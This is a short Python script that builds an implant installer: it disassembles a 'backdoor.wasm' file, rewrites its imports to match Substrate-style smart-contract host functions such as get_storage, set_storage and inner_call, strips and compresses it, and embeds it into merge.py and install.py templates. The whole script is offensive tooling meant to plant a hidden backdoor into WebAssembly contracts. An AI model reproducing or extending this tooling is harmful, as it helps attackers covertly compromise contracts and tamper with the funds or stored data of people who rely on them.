"""
Creates a merge.py with the given backdoor.wasm file embedded in it.
"""

import subprocess
import zlib
import sys
import os

try:
    backdoor = sys.argv[1]
except:
    backdoor = "./backdoor.wasm"

backdoor_wat = subprocess.check_output(f"wasm2wat --generate-names {backdoor}", shell=True).decode()

backdoor_wat = backdoor_wat.strip()  #remove any heading or trailing spaces
backdoor_wat = backdoor_wat.removeprefix("(module")
backdoor_wat = backdoor_wat.removesuffix(")")
backdoor_wat = backdoor_wat.replace("$env.inner_call", "$inner_call")
backdoor_wat = backdoor_wat.replace("$env.get_storage", "$seal1.get_storage")
backdoor_wat = backdoor_wat.replace("$env.input", "$seal0.input")
backdoor_wat = backdoor_wat.replace("$env.set_storage", "$seal2.set_storage")
backdoor_wat = backdoor_wat.replace("$env.seal_return", "$seal0.seal_return")

backdoor_void_type_name = None
for l in backdoor_wat.split("\n"):
    l = l.strip()
    if l.startswith("(type $t") and l.endswith("(func))") and len(l.split(" "))==3:
        backdoor_void_type_name = l.split(" ")[1]
        break

backdoor_wat = backdoor_wat.replace(backdoor_void_type_name, "$_void_type_name")

new_backdoor_wat_lines = []
for l in backdoor_wat.split("\n"):
    if l.strip().startswith("(import"):
        continue
    if l.strip().startswith("(type") and "$_void_type_name" not in l:
        continue
    if l.strip().startswith("(export"):
        continue
    if l.strip().startswith("(memory"):
        continue
    if l.strip().startswith("(global"):
        continue
    if "$__wasm_call_ctors" in l:
        continue
    new_backdoor_wat_lines.append(l)

backdoor_wat = "\n".join(new_backdoor_wat_lines)
zip_data = zlib.compress(backdoor_wat.encode(), level=9)
with open(os.path.join(os.path.dirname(__file__), "merge.py"), "r") as f:
    implant_script = f.read()
    implant_script = implant_script.replace("$IMPLANT", repr(zip_data))

with open(os.path.join(os.path.dirname(__file__), "install.py"), "r") as f:
    install_script = f.read()
    install_script = install_script.replace("$MERGE", implant_script)
    
print(install_script)